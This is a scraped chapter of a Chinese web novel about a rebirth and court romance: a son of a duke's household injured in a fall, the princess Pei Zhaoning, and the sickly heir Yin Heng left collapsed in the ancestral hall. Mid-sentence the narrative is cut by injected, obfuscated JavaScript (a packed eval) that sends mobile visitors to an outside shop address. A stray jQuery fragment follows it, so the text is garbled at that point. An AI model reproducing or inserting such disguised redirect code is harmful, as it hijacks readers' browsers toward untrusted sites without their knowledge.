文趣网 > 其他小说 > 病弱世子娇养手札 > 21. 祠堂
    “大爷方才醒过来一会儿,却不知怎么念着长乐郡主的名字,忽然又吐血晕了过去,章太医让小的赶紧来请你。”

    来报信的侍从与宁国公解释道。

    “明日一早就叫人送信去宫中。”

    宁国公大步迈进院中,便见哭成个泪人的温姨娘被侍女搀扶着,几欲摔倒。

    见他进来,顿时扑进他怀中:“老爷,时哥儿吐血了…”

    “没事,先听听太医怎么说。”

    宁国公忍下担忧,将她揽在怀中轻轻拍抚着。

    章太医正在施针。

    二人相拥着等候在一侧,温姨娘的眼泪就没停过。

    “好好的,时哥儿怎么遭了这样大的罪,这是得罪了哪路神仙,这些日子他吃了多少苦啊…”

    她甚至怀疑是不是殷珩动了什么手脚,又或是暗自行了什么巫蛊之术。

    不然时哥儿骁勇善战,怎么会突然从马上摔下来?

    那马还是时哥儿惯常骑的。

    她攥紧了宁国公手臂,惶然不安:“老爷,是不是有人要害我的时哥儿…是不是?是不是他?是我得罪了他,他为什么不冲着我来!”

    屋中还有太医在,宁国公皱眉打断道:“说什么胡话,是他自个儿不小心从马上摔下来的。”

    温姨娘神色愈发凄惶,眼泪顺着脸颊滑落。

    宁国公也知她是太担心殷时,心疼拭去她的眼泪:“那马和他周围的人我都叫关起来了,此事我会认真去查的。”

    温姨娘听闻此言,心中愈发认定是殷珩要害殷时,宁国公定然已经察觉出了几分内情,不过是要瞒着她罢了。

    不然方才又怎么会去殷珩院中。

    温姨娘心中暗恨,却又见殷时身子一颤,侧身呕出一口血来。

    声音顿时尖锐起来:“时哥儿…你在做什么!”

    她冲过去,一把推开章太医。

    章太医才收了银针,一时不妨,叫她推到在架子上。

    “文娘!”

    宁国公立刻拉开她。

    “他在害我的时哥儿,他也在害我的时哥儿!”

    温姨娘崩溃不已,指着章太医又哭又骂。

    宁国公按着她:“你冷静点,这是太医,他没有害时哥儿。”

    “那时哥儿为什么又吐血了,为什么不请林太医,世子病的时候,为何来的就是林太医了!”

    别以为她不知道,林太医是太医院院首。

    凭什么殷珩病了请的就是林太医,她的时哥儿受这么重的伤却只能随随便便一个太医打发来。

    以为他很想来吗。

    章太医暗自翻了个白眼,心里直骂晦气。揉着撞疼的腰。

    “国公爷,病人可受不得吵闹。”

    就在此时,床上的人忽然睁开了眼睛。

    “裴昭宁!”

    “时哥儿…时哥儿!”

    温氏顿时扑上前去,攥住了他的手。

    “你醒了?感觉怎么样了…头还疼不疼?”

    殷时怔怔看着眼前的人。

    温氏见他不说话,顿时心慌起来,她知道温家有门旁亲家中的哥儿,便是伤了脑袋,从此变得痴傻。

    攥着殷时的手顿时用力:“时哥儿,你看看阿娘…”

    手上传来的痛意将殷时从思绪中拉出,他看着眼前焦急不已的温姨娘,心底闪过一丝复杂情绪,轻轻道:“阿娘,我没事。”

    温姨娘顿时松了口气,眼泪连串落下,轻轻抚上他的脸:“你吓死阿娘了。”

    殷时下意识想要躲,却到底没动,只是闭了闭眼:“裴昭宁呢…她没来吗?”

    温姨娘神色微僵,忍着怨恨轻声道:“这会儿宫门都落了锁,想必明日就会来。”

    殷时心底却不太相信。

    前世这时,他与裴昭宁感情正浓,甚至连婚期都定在了开春之时。

    如今一切仿若都大不一样。

    他怀疑裴昭宁比自己还要早重生一步。

    若是如此…她当真会来看他吗?

    *

    清荷帮着安顿好了栗婉,在宫门落锁前回了长乐殿。

    “如何了?”

    裴昭宁记挂着这事,也有点揪心。

    清荷道:“那李业倒是叫世子爷捉到狱中去了,只是那姑娘我送她回去同她母亲一道了。”

    她神色有些不忍:“瞧着不大好,她母亲也一个劲儿抱着她哭着。奴婢出来时…还听见她周围那多嘴的人家议论着这事。”

    本朝民风开放,对姑娘家的约束虽较之前朝要少许多,可也耐不住那等恶心的人。

    裴昭宁叹了口气。

    “你明日再出宫去一回,问问她,若是她愿意,可以进宫来。”

    她想了想,又问:“她家中几口人?”

    清荷下午时正好问过:“只有她与她母亲。”

    裴昭宁想着,也不好叫人家母女分离,况且留在外面,实在容易叫李家的人报复。

    “那便问问她母亲可否也愿意进宫来,我记得他们是开胭脂铺,我身边正好缺个懂调香的。”

    清荷温柔地看着她,笑了笑:“奴婢明日便去问。”

    裴昭宁又想起殷珩。

    “他怎么样了,殷承骞可有来?”

    清荷摇摇头:“奴婢从那宅子里出来,便未曾与世子爷同行。”

    “你明日去宁国公府看看他,就说关于案子的事要问。”

    应当是没事的。

    殷珩拿着皇伯伯的圣旨,殷承骞难不成还能做什么,再说他也不敢。

    但裴昭宁眼皮就是跳得厉害。

    在床上辗转半夜都没睡着。

    却也不知被她挂念着的那人此时也无法入眠。

    蜷缩在祠堂冰冷的地面上,身上伤口却好似在被烈火灼烧。

    他轻轻动了下,背上的伤口便撕扯着痛起来,仿佛那一块皮肉都要被割下。

    他整个人一僵,喉间逸出一声极低的痛哼,被外面呼啸的风声吞没。

    冷汗从额角沁出来,沿着鬓角往下淌,有几滴落在青砖上,洇开小小的湿痕。

    汗湿的碎发贴在颊边,衬得那张脸愈发苍白,白得近乎透明,连唇上的血色也褪得干干净净。

    胸口愈发窒闷,药就在身上,他却不愿抬手去拿。

    这样的夜晚他经历过许多次,这一次却格外得难熬。

    他能感受到自己的身子一日差过一日。

    微弱的烛光被缝隙间透过的风吹得轻轻摇晃。

    他低低咳嗽起来,喉间又泛起了腥甜,却连咽下的力气都没有。

    殷珩…

    殷珩。

    他仿佛听见有人在叫他,却又分辨不出是谁,那声音隔得很远很远。

    他勉强抬起眼,恍惚间,看见那些冰冷肃穆的排位。

    不知何时就要添上自己的一座。

    他这样…当真配得上裴昭宁吗?

    配不上的。

    他听见那道声音说,带着尖锐的嘲讽声,如针一般刺入他脑中。

    他连寒酥都护不住。

    那样爱漂亮的小狸奴,平日里连没铺着地毯的地方都不愿意踩过去,刚刚浑身是血,就那样被丢在了雪地中。

    他却什么都做不了。

    他就是个灾星。

    如何配得上裴昭宁。

    他张了张嘴,想要反驳,却什么也说不出,滚烫的血顺着喉间涌出。

    天亮时,空青看着宁国公的亲卫开了祠堂的锁。

    供桌上的烛灯早已熄灭。

    祠堂漆黑一片,随着推开的门,光渐渐漫过冰冷的砖缝,照亮在那一排排牌位之上。

    少年蜷缩在冰冷的地面上,像一片被风吹落的枯叶,无声无息地躺在那里。

    “爷——”

    眼前的一幕几乎令空青血液倒流。

    他脚上绊了下,还没站稳,就扑了过去。

    少年的身子滚烫,被他扶起的瞬间,腰身无力地往后弯折去,如柳絮轻飘飘落在他臂弯间。

    颈子不受力地后仰,喉结微微凸起,像是被风一吹就要折断的枯枝。

    散落的墨发如瀑布般倾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661418|206370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    泻而下,露出那张毫无血色的脸,薄唇却染着令人心惊的暗红。

    他托着殷珩的后背,能感觉到掌心下那单薄的衣裳已经被冷汗浸透了,湿漉漉地贴他瘦削的脊背上。

    “爷…世子爷…”

    空青惊慌到几乎不知该如何是好,声音都有些发抖。

    还是那亲卫先反应过来:“快送世子爷回去吧,我去叫人请大夫!”

    空青回过神来,忙抱起殷珩往外跑,另一个侍从举着伞跟在他们身边。

    风雪去怎么也遮不住。

    手腕无力地从衣襟滑落,纤细腕骨随风轻晃,指尖几乎要与这雪融为一体。

    殷珩恍恍惚惚睁开眼,只看见模糊的雪色。

    分不清自己身在何处。

    只是觉得好痛。

    身上每一处都好痛…又好冷。

    像是有人用利刃一点点剜去他的血肉,冷冰冰的雪不断穿过那些血洞。

    他张了张嘴,想要喊痛,却发不出半点声音。

    连喘息都觉得格外艰难。

    “爷,您醒了?”

    空青小心翼翼将他安置在榻上,抬头间,看见他睁着眼,又惊又喜,压着声音唤了声。

    他目光涣散,虚虚望着半空中,对周遭一切仿若无知无觉。

    “爷?”

    空青心慌得厉害,又低低叫着他,转头催促道:“府医怎么还没来?”

    屋中的侍从眼睛红红的。

    “小的这就去看看。”

    用热水浸过的帕子轻轻擦拭过殷珩额间。

    一滴水珠落下。

    他长睫颤了下,薄唇忽然轻轻动了动。

    “娘…”

    轻得几乎听不见的声音。

    空青连忙凑过去:“爷,您说什么?”

    “…昭宁…救…”

    “寒酥...”

    空急得几乎要哭出来,忽然辨别出一点声音,眼泪顿时落下。

    他们昨夜抱着那具小小的身子,看着它一点点失去了声息。

    那样小的狸奴,平日最爱漂亮不过,却被血染红了大片。

    他们为它清理了身子,连着它的几件小衣裳埋在了后院的那棵树下。

    那里有世子爷亲手为它做的小秋千,它平日总爱在那儿玩。

    殷珩失神地望着虚空,喉间轻轻滚动了下,微弱的气音,薄唇间忽然无数刺目的血涌出,顺着颈间,叠在衣襟的暗色上。

    就在这时,去请府医的人跑进屋中。

    “空青哥,府医都在大爷那儿,温姨娘的人拦着不让我们进去。”

    *

    裴昭宁第二日才听闻殷时坠马受伤,神色淡淡,同来传信的李公公道:“雪大,我就不去了,还请李公公替我谢过皇伯伯。”

    李公公有些惊讶。

    但也没多说什么,回去同明德帝复命。

    明德帝问他:“长乐出宫去了吗?”

    李公公自然知道他想问什么,弯腰走到他身前。

    “郡主不大愿意出去。”

    明德帝看着奏折,头也未抬。

    “她不知殷时伤得有多重吗?”

    李公公迟疑了会儿。

    “奴才说过了,宁国公府那边也递了信来。”

    “这丫头…”

    明德帝叹气道,“你瞧着她如今对殷时还有几分情意?”

    他上回也是气头上,深觉裴昭宁是一时赌气拿着自己的婚事开玩笑,是以说的话重了些,有叫人开始准备婚事。

    可明德帝也并非当真是想要叫他们做一对怨偶。

    这些天看着,那殷时似乎并非瞧着那般好不说,裴昭宁也好似当真不怎么喜欢他了。

    明德帝头疼地放下奏折。

    李公公奉上茶盏,斟酌道。

    “奴才不敢胡说,但奴才瞧着郡主对殷将军的确不如从前上心。”

    “这姑娘的心事可真是难懂。”

    明德帝叹气,“朕本来也不想她这般早就成亲的。”

    “罢了,你叫人去请温贵妃来。”